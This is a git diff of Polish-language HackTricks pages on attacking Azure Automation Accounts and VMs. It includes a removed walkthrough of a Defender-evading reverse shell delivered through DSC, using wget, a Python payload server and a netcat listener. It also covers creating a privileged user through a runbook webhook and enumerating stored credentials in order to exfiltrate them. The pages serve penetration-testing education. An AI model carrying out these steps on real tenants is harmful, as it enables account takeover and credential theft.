Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> Możesz zrobić to samo, modyfikując istniejący Run Book i z konsoli internetowej.
### Kroki do skonfigurowania automatycznego tworzenia użytkownika z wysokimi uprawnieniami
#### 1. Zainicjuj konto automatyzacji
- **Wymagana akcja:** Utwórz nowe konto automatyzacji.
- **Specyficzne ustawienie:** Upewnij się, że "Utwórz konto Azure Run As" jest włączone.
#### 2. Importuj i skonfiguruj Runbook
- **Źródło:** Pobierz przykładowy runbook z [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
- **Wymagane akcje:**
- Importuj runbook do konta automatyzacji.
- Opublikuj runbook, aby był wykonywalny.
- Dołącz webhook do runbooka, umożliwiając zewnętrzne wyzwalacze.
#### 3. Skonfiguruj moduł AzureAD
- **Wymagana akcja:** Dodaj moduł AzureAD do konta automatyzacji.
- **Dodatkowy krok:** Upewnij się, że wszystkie moduły automatyzacji Azure są zaktualizowane do najnowszych wersji.
#### 4. Przydzielanie uprawnień
- **Role do przydzielenia:**
- Administrator użytkowników
- Właściciel subskrypcji
- **Cel:** Przydziel te role do konta automatyzacji w celu uzyskania niezbędnych uprawnień.
#### 5. Świadomość potencjalnej utraty dostępu
- **Uwaga:** Bądź świadomy, że skonfigurowanie takiej automatyzacji może prowadzić do utraty kontroli nad subskrypcją.
#### 6. Wyzwól tworzenie użytkownika
- Wyzwól webhook, aby utworzyć nowego użytkownika, wysyłając żądanie POST.
- Użyj dostarczonego skryptu PowerShell, upewniając się, że zastępujesz `$uri` swoim rzeczywistym adresem URL webhooka i aktualizujesz `$AccountInfo` pożądanym nazwą użytkownika i hasłem.
```powershell
$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Odniesienia
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,57 +0,0 @@
# Az - State Configuration RCE
{{#include ../../../../banners/hacktricks-training.md}}
**Sprawdź pełny post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### Podsumowanie przygotowania infrastruktury serwera zdalnego (C2) i kroków
#### Przegląd
Proces polega na skonfigurowaniu infrastruktury serwera zdalnego do hostowania zmodyfikowanego ładunku Nishang `Invoke-PowerShellTcp.ps1`, nazwanego `RevPS.ps1`, zaprojektowanego w celu ominięcia Windows Defender. Ładunek jest serwowany z maszyny Kali Linux o IP `40.84.7.74` przy użyciu prostego serwera HTTP w Pythonie. Operacja jest realizowana w kilku krokach:
#### Krok 1 — Utwórz pliki
- **Wymagane pliki:** Potrzebne są dwa skrypty PowerShell:
1. `reverse_shell_config.ps1`: Plik Desired State Configuration (DSC), który pobiera i wykonuje ładunek. Można go uzyskać z [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Skrypt do publikacji konfiguracji na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
- **Dostosowanie:** Zmienne i parametry w tych plikach muszą być dostosowane do specyficznego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/ładunku.
#### Krok 2 — Spakuj plik konfiguracyjny
- Plik `reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co czyni go gotowym do transferu do Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Krok 3 — Ustaw kontekst przechowywania i przesyłanie
- Zszyfrowany plik konfiguracyjny jest przesyłany do zdefiniowanego kontenera Azure Storage, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent z Azure.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### Krok 4 — Przygotowanie Kali Box
- Serwer Kali pobiera ładunek RevPS.ps1 z repozytorium GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- Skrypt jest edytowany, aby określić docelową maszynę wirtualną Windows i port dla odwrotnego powłoki.
#### Krok 5 — Publikacja pliku konfiguracyjnego
- Plik konfiguracyjny jest wykonywany, co skutkuje wdrożeniem skryptu odwrotnej powłoki w określonej lokalizacji na maszynie wirtualnej Windows.
#### Krok 6 — Hostowanie ładunku i ustawienie nasłuchu
- Uruchamiany jest Python SimpleHTTPServer, aby hostować ładunek, wraz z nasłuchiwaczem Netcat do przechwytywania przychodzących połączeń.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
- Zaplanowane zadanie wykonuje ładunek, osiągając uprawnienia na poziomie SYSTEM.
#### Wnioski
Pomyślne wykonanie tego procesu otwiera liczne możliwości dalszych działań, takich jak zrzut poświadczeń lub rozszerzenie ataku na wiele maszyn wirtualnych. Przewodnik zachęca do dalszej nauki i kreatywności w dziedzinie Azure Automation DSC.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,227 @@
# Az - Konta Automatyzacji
{{#include ../../../../banners/hacktricks-training.md}}
## Podstawowe Informacje
Konta Automatyzacji Azure to usługi w chmurze w Microsoft Azure, które pomagają **automatyzować zadania** takie jak zarządzanie zasobami, konfiguracja i aktualizacje w środowiskach Azure i lokalnych. Oferują **Runbooki** (skrypty do automatyzacji, które są wykonywane), **harmonogramy** oraz **grupy pracowników hybrydowych** do uruchamiania automatycznych **zadań**, umożliwiając infrastrukturę jako kod (IaC) oraz automatyzację procesów w celu poprawy efektywności i spójności w zarządzaniu zasobami chmurowymi.
### Ustawienia
- **Poświadczenia**: Hasło jest dostępne tylko w runbooku wewnątrz konta automatyzacji, służą do **bezpiecznego przechowywania nazw użytkowników i haseł**.
- **Zmienne**: Służą do przechowywania **danych konfiguracyjnych**, które mogą być używane w runbookach. Mogą to być również wrażliwe informacje, takie jak klucze API. Jeśli zmienna jest **przechowywana w zaszyfrowanej formie**, jest dostępna tylko w runbooku wewnątrz konta automatyzacji.
- **Certyfikaty**: Służą do przechowywania **certyfikatów**, które mogą być używane w runbookach.
- **Połączenia**: Służą do przechowywania **informacji o połączeniach** z zewnętrznymi usługami. Mogą zawierać **wrażliwe informacje**.
- **Dostęp do sieci**: Może być ustawiony na **publiczny** lub **prywatny**.
## Runbooki i Zadania
Runbook w Azure Automation to **skrypt, który automatycznie wykonuje zadania** w Twoim środowisku chmurowym. Runbooki mogą być pisane w PowerShell, Pythonie lub edytorach graficznych. Pomagają automatyzować zadania administracyjne, takie jak zarządzanie VM, łatanie lub kontrole zgodności.
W **kodzie** znajdującym się w **Runbookach** mogą znajdować się **wrażliwe informacje** (takie jak poświadczenia).
Przejdź do `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
**Zadanie to instancja wykonania Runbooka**. Kiedy uruchamiasz Runbook, tworzone jest zadanie, aby śledzić to wykonanie. Każde zadanie zawiera:
- **Status**: W kolejce, W trakcie, Zakończone, Niepowodzenie, Wstrzymane.
- **Wynik**: Rezultat wykonania Runbooka.
- **Czas rozpoczęcia i zakończenia**: Kiedy zadanie się rozpoczęło i zakończyło.
Zadanie zawiera **wynik** wykonania **Runbooka**. Jeśli możesz **czytać** **zadania**, rób to, ponieważ **zawierają** **wynik** uruchomienia (potencjalnie **wrażliwe informacje**).
### Harmonogramy i Webhooki
Istnieją 3 główne sposoby na wykonanie Runbooka:
- **Harmonogramy**: Służą do **wyzwalania** Runbooków w **określonym czasie** lub **interwale**.
- **Webhooki**: To **punkty końcowe HTTP**, które mogą być używane do **wyzwalania** Runbooków z **zewnętrznych usług**. Należy pamiętać, że adres URL webhooka jest **niewidoczny** po utworzeniu.
- **Ręczne wyzwolenie**: Możesz **ręcznie wyzwolić** Runbook z portalu Azure i z CLI.
### Kontrola Źródła
Pozwala na importowanie Runbooków z **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Możliwe jest wskazanie, aby publikować Runbooki repozytorium do konta automatyzacji Azure, a także możliwe jest wskazanie, aby **synchronizować zmiany z repozytorium** do konta automatyzacji Azure.
Gdy synchronizacja jest włączona, w **repozytorium Github tworzony jest webhook** do wyzwalania synchronizacji za każdym razem, gdy wystąpi zdarzenie push. Przykład adresu URL webhooka: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Należy pamiętać, że te webhooki **nie będą widoczne** podczas wyświetlania webhooków w powiązanych runbookach z repozytorium Github. Należy również pamiętać, że **nie można zmienić adresu URL repozytorium** kontroli źródła po jego utworzeniu.
Aby skonfigurowana kontrola źródła działała, **Konto Automatyzacji Azure** musi mieć zarządzaną tożsamość (systemową lub użytkownika) z rolą **`Contributor`**. Ponadto, aby przypisać zarządzaną tożsamość użytkownika do Konta Automatyzacji, można to zrobić, ustawiając zmienną **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** na **Client ID zarządzanej tożsamości użytkownika**.
### Środowiska Uruchomieniowe
Podczas tworzenia Runbooka można wybrać środowisko uruchomieniowe. Domyślnie dostępne są następujące środowiska uruchomieniowe:
- **Powershell 5.1**
- **Powershell 7.1**
- **PowerShell 7.2**
- **Python 3.10**
- **Python 3.8**
- **Python 2.7**
Jednak możliwe jest również **tworzenie własnych środowisk**, używając jednego z tych jako bazy. W przypadku Pythona możliwe jest przesyłanie pakietów `.whl` do środowiska, które będą używane. W przypadku PowerShell możliwe jest przesyłanie pakietów `.zip` z modułami, które mają być w runtime.
### Pracownik Hybrydowy
Runbook może być uruchamiany w **kontenerze w Azure** lub w **Pracowniku Hybrydowym** (maszyna niebędąca w Azure).\
**Agent Log Analytics** jest wdrażany na VM, aby zarejestrować go jako pracownika hybrydowego.\
Zadania pracowników hybrydowych działają jako **SYSTEM** w Windows i jako konto **nxautomation** w Linux.\
Każdy Pracownik Hybrydowy jest zarejestrowany w **Grupie Pracowników Hybrydowych**.
Dlatego, jeśli możesz wybrać uruchomienie **Runbooka** w **Windows Hybrid Worker**, będziesz wykonywać **dowolne polecenia** wewnątrz zewnętrznej maszyny jako **System** (fajna technika pivotowania).
### Konfiguracja Stanu (SC)
>[!WARNING]
> Jak wskazano w [dokumentacji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Konfiguracja Stanu Automatyzacji Azure zostanie wycofana 30 września 2027 roku i zastąpiona przez [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Konta Automatyzacji również wspierają **Konfigurację Stanu (SC)**, która jest funkcją pomagającą w **konfigurowaniu** i **utrzymywaniu** **stanu** Twoich VM. Możliwe jest **tworzenie** i **stosowanie** konfiguracji DSC do **maszyn Windows** i **Linux**.
Z perspektywy atakującego było to interesujące, ponieważ pozwalało na **wykonywanie dowolnego kodu PS we wszystkich skonfigurowanych VM**, co pozwalało na eskalację uprawnień do zarządzanych tożsamości tych VM, potencjalnie pivotując do nowych sieci... Ponadto, konfiguracje mogły zawierać **wrażliwe informacje**.
## Enumeracja
```bash
# List Automation Accounts
az automation account list --output table
# Get Automation Account details
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
# Check the managed identities in `identity`
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get keys of automation account
## These are used for the DSC
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get schedules of automation account
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get connections of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
# Get connection details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
# Get credentials of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
# Get credential details
## Note that you will only be able to access the password from inside a Runbook
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
# Get certificates of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
# Get certificate details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
# Get variables of automation account
## It's possible to get the value of unencrypted variables but not the encrypted ones
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
# Get variable details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
# Get runbooks of an automation account
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get runbook details
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
# Get runbook content
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
# Get jobs of an automation account
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get job details
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
# Get job output
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
# Get the Runbook content when the job was executed
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
# Get webhooks inside an automation account
## It's possible to see to which runbook it belongs in the given data
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
## Generating a webhook can be useful from a persistence perspective
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
az automation runtime-environment list \
--resource-group <res-group>> \
--automation-account-name <account-name> \
--query "[?!(starts_with(description, 'System-generated'))]"
# Get State Configurations (SC) of an automation account
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get State Configuration details
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
```
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Eskalacja Uprawnień i Po Eksploatacji
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Odniesienia
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ az-azure-network.md
## Podstawowe informacje o VM
Maszyny Wirtualne (VM) Azure to elastyczne, na żądanie **serwery w chmurze, które pozwalają na uruchamianie systemów operacyjnych Windows lub Linux**. Umożliwiają wdrażanie aplikacji i obciążeń bez zarządzania fizycznym sprzętem. Maszyny Wirtualne Azure mogą być konfigurowane z różnymi opcjami CPU, pamięci i przechowywania, aby spełniać konkretne potrzeby i integrować się z usługami Azure, takimi jak wirtualne sieci, przechowywanie i narzędzia zabezpieczeń.
Maszyny Wirtualne (VM) w Azure to elastyczne, na żądanie **serwery w chmurze, które pozwalają na uruchamianie systemów operacyjnych Windows lub Linux.** Umożliwiają wdrażanie aplikacji i obciążeń bez zarządzania fizycznym sprzętem. Maszyny Wirtualne Azure mogą być konfigurowane z różnymi opcjami CPU, pamięci i przechowywania, aby spełniać konkretne potrzeby i integrować się z usługami Azure, takimi jak wirtualne sieci, przechowywanie i narzędzia zabezpieczeń.
### Konfiguracje zabezpieczeń
@@ -28,15 +28,15 @@ Maszyny Wirtualne (VM) Azure to elastyczne, na żądanie **serwery w chmurze, kt
- **Brak**: Zasadniczo otwiera każdy port
- **Podstawowe**: Umożliwia łatwe otwieranie portów przychodzących HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Zaawansowane**: Wybierz grupę zabezpieczeń
- **Kopia zapasowa**: Możliwe jest włączenie **Standardowej** kopii zapasowej (raz dziennie) i **Ulepszonej** (wielokrotnie dziennie)
- **Kopia zapasowa**: Możliwe jest włączenie **Standardowej** kopii zapasowej (raz dziennie) i **Ulepszonej** (wiele razy dziennie)
- **Opcje orkiestracji poprawek**: Umożliwia automatyczne stosowanie poprawek w VM zgodnie z wybraną polityką, jak opisano w [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Powiadomienia**: Możliwe jest automatyczne otrzymywanie powiadomień e-mail lub w aplikacji mobilnej, gdy coś się wydarzy w VM. Domyślne zasady:
- **Alerty**: Możliwe jest automatyczne otrzymywanie alertów e-mailem lub aplikacją mobilną, gdy coś się wydarzy w VM. Domyślne zasady:
- Procent CPU jest większy niż 80%
- Dostępna pamięć bajtów jest mniejsza niż 1GB
- Dostępna pamięć bajtów jest mniejsza niż 1 GB
- Procent zużycia IOPS dysków danych jest większy niż 95%
- Procent zużycia IOPS systemu operacyjnego jest większy niż 95%
- Całkowita sieć jest większa niż 500GB
- Całkowita sieć wychodząca jest większa niż 200GB
- Całkowita sieć jest większa niż 500 GB
- Całkowita sieć wychodząca jest większa niż 200 GB
- Metryka dostępności VM jest mniejsza niż 1
- **Monitor zdrowia**: Domyślnie sprawdza protokół HTTP na porcie 80
- **Blokady**: Umożliwia zablokowanie VM, aby mogła być tylko odczytywana (**ReadOnly** lock) lub mogła być odczytywana i aktualizowana, ale nie usuwana (**CanNotDelete** lock).
@@ -48,7 +48,7 @@ Maszyny Wirtualne (VM) Azure to elastyczne, na żądanie **serwery w chmurze, kt
- Możliwe jest **włączenie dołączenia dysku do 2 lub więcej VM**
- Domyślnie każdy dysk jest **szyfrowany** kluczem platformy.
- To samo dotyczy migawek
- Domyślnie możliwe jest **udostępnienie dysku ze wszystkich sieci**, ale można również **ograniczyć** dostęp tylko do niektórych **prywatnych dostępów** lub **całkowicie wyłączyć** dostęp publiczny i prywatny.
- Domyślnie możliwe jest **udostępnienie dysku ze wszystkich sieci**, ale można również **ograniczyć** dostęp tylko do określonych **prywatnych dostępów** lub **całkowicie wyłączyć** dostęp publiczny i prywatny.
- To samo dotyczy migawek
- Możliwe jest **wygenerowanie SAS URI** (maks. 60 dni) do **eksportu dysku**, który można skonfigurować tak, aby wymagał uwierzytelnienia lub nie
- To samo dotyczy migawek
@@ -74,12 +74,12 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
{{#endtab}}
{{#endtabs}}
## Obrazy, Obrazy galerii i Punkty przywracania
## Obrazy, Obrazy w Galerii i Punkty Przywracania
Obraz **VM** to szablon, który zawiera system operacyjny, ustawienia aplikacji i system plików potrzebne do **utworzenia nowej maszyny wirtualnej (VM)**. Różnica między obrazem a migawką dysku polega na tym, że migawka dysku to kopia tylko do odczytu, w danym momencie, pojedynczego zarządzanego dysku, używana głównie do tworzenia kopii zapasowych lub rozwiązywania problemów, podczas gdy obraz może zawierać **wiele dysków i jest zaprojektowany jako szablon do tworzenia nowych VM**.\
Obrazy można zarządzać w **sekcji Obrazy** w Azure lub w **galeriach obliczeniowych Azure**, co pozwala na generowanie **wersji** i **udostępnianie** obrazu między tenantami, a nawet uczynienie go publicznym.
Obraz **VM** to szablon, który zawiera system operacyjny, ustawienia aplikacji i system plików potrzebne do **utworzenia nowej maszyny wirtualnej (VM)**. Różnica między obrazem a migawką dysku polega na tym, że migawka dysku to kopia tylko do odczytu, w określonym czasie, pojedynczego zarządzanego dysku, używana głównie do tworzenia kopii zapasowych lub rozwiązywania problemów, podczas gdy obraz może zawierać **wiele dysków i jest zaprojektowany jako szablon do tworzenia nowych VM**.\
Obrazy można zarządzać w sekcji **Obrazy** w Azure lub w **galeriach obliczeniowych Azure**, co pozwala na generowanie **wersji** i **udostępnianie** obrazu między tenantami, a nawet uczynienie go publicznym.
Punkt **przywracania** przechowuje konfigurację VM oraz **migawki** aplikacji w danym momencie, które są spójne z czasem, **wszystkich zarządzanych dysków** podłączonych do VM. Jest związany z VM, a jego celem jest umożliwienie przywrócenia tej VM do stanu, w jakim była w danym momencie.
Punkt **przywracania** przechowuje konfigurację VM oraz **migawki** aplikacji w punkcie czasowym, które są spójne z czasem, **wszystkich zarządzanych dysków** podłączonych do VM. Jest związany z VM, a jego celem jest umożliwienie przywrócenia tej VM do stanu, w jakim była w danym punkcie czasowym.
{{#tabs}}
{{#tab name="az cli"}}
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
Z [**dokumentacji**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery pomaga zapewnić ciągłość działania firmy, utrzymując aplikacje biznesowe i obciążenia w działaniu podczas awarii. Site Recovery **replikuje obciążenia** działające na fizycznych i wirtualnych maszynach (VM) z głównej lokalizacji do lokalizacji zapasowej. Gdy wystąpi awaria w Twojej głównej lokalizacji, przełączasz się na lokalizację zapasową i uzyskujesz dostęp do aplikacji stamtąd. Po przywróceniu działania głównej lokalizacji możesz wrócić do niej.
Z dokumentów [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery pomaga zapewnić ciągłość działania biznesu, utrzymując aplikacje i obciążenia robocze w działaniu podczas awarii. Site Recovery **replikuje obciążenia robocze** działające na fizycznych i wirtualnych maszynach (VM) z głównej lokalizacji do lokalizacji zapasowej. Gdy wystąpi awaria w głównej lokalizacji, przełączasz się do lokalizacji zapasowej i uzyskujesz dostęp do aplikacji stamtąd. Po przywróceniu głównej lokalizacji możesz wrócić do niej.
## Azure Bastion
Azure Bastion umożliwia bezpieczny i bezproblemowy dostęp **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** do Twoich wirtualnych maszyn (VM) bezpośrednio przez portal Azure lub za pośrednictwem jump boxa. Poprzez **eliminację potrzeby publicznych adresów IP** na Twoich VM.
Azure Bastion umożliwia bezpieczny i bezproblemowy dostęp **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** do twoich wirtualnych maszyn (VM) bezpośrednio przez portal Azure lub za pośrednictwem jump boxa. Poprzez **eliminację potrzeby publicznych adresów IP** na twoich VM.
Bastion wdraża podsieć o nazwie **`AzureBastionSubnet`** z maską sieciową `/26` w VNet, w którym musi działać. Następnie umożliwia **połączenie z wewnętrznymi VM przez przeglądarkę** używając `RDP` i `SSH`, unikając narażania portów VM na Internet. Może również działać jako **jump host**.
Bastion wdraża podsieć nazwaną **`AzureBastionSubnet`** z maską sieciową `/26` w VNet, w którym musi działać. Następnie pozwala na **połączenie z wewnętrznymi VM przez przeglądarkę** używając `RDP` i `SSH`, unikając wystawiania portów VM na Internet. Może również działać jako **jump host**.
Aby wylistować wszystkie hosty Azure Bastion w swojej subskrypcji i połączyć się z VM przez nie, możesz użyć następujących poleceń:
@@ -189,7 +189,7 @@ Get-AzBastion
## Metadane
Usługa metadanych instancji Azure (IMDS) **zapewnia informacje o działających instancjach maszyn wirtualnych** w celu wspomagania ich zarządzania i konfiguracji. Oferuje szczegóły takie jak SKU, konfiguracje pamięci masowej, sieci oraz informacje o nadchodzących wydarzeniach konserwacyjnych za pośrednictwem **REST API dostępnego pod adresem IP 169.254.169.254**, który jest dostępny tylko z wnętrza VM. Komunikacja między VM a IMDS pozostaje w obrębie hosta, zapewniając bezpieczny dostęp. Podczas zapytań do IMDS, klienci HTTP wewnątrz VM powinni omijać serwery proxy, aby zapewnić prawidłową komunikację.
Usługa metadanych instancji Azure (IMDS) **zapewnia informacje o działających instancjach maszyn wirtualnych** w celu wsparcia ich zarządzania i konfiguracji. Oferuje szczegóły takie jak SKU, przechowywanie, konfiguracje sieciowe oraz informacje o nadchodzących wydarzeniach konserwacyjnych za pośrednictwem **REST API dostępnego pod adresem IP 169.254.169.254**, który jest dostępny tylko z wnętrza VM. Komunikacja między VM a IMDS pozostaje w obrębie hosta, zapewniając bezpieczny dostęp. Podczas zapytań do IMDS, klienci HTTP wewnątrz VM powinni omijać serwery proxy, aby zapewnić prawidłową komunikację.
Ponadto, aby skontaktować się z punktem końcowym metadanych, żądanie HTTP musi mieć nagłówek **`Metadata: true`** i nie może mieć nagłówka **`X-Forwarded-For`**.
@@ -509,7 +509,7 @@ az vm extension set \
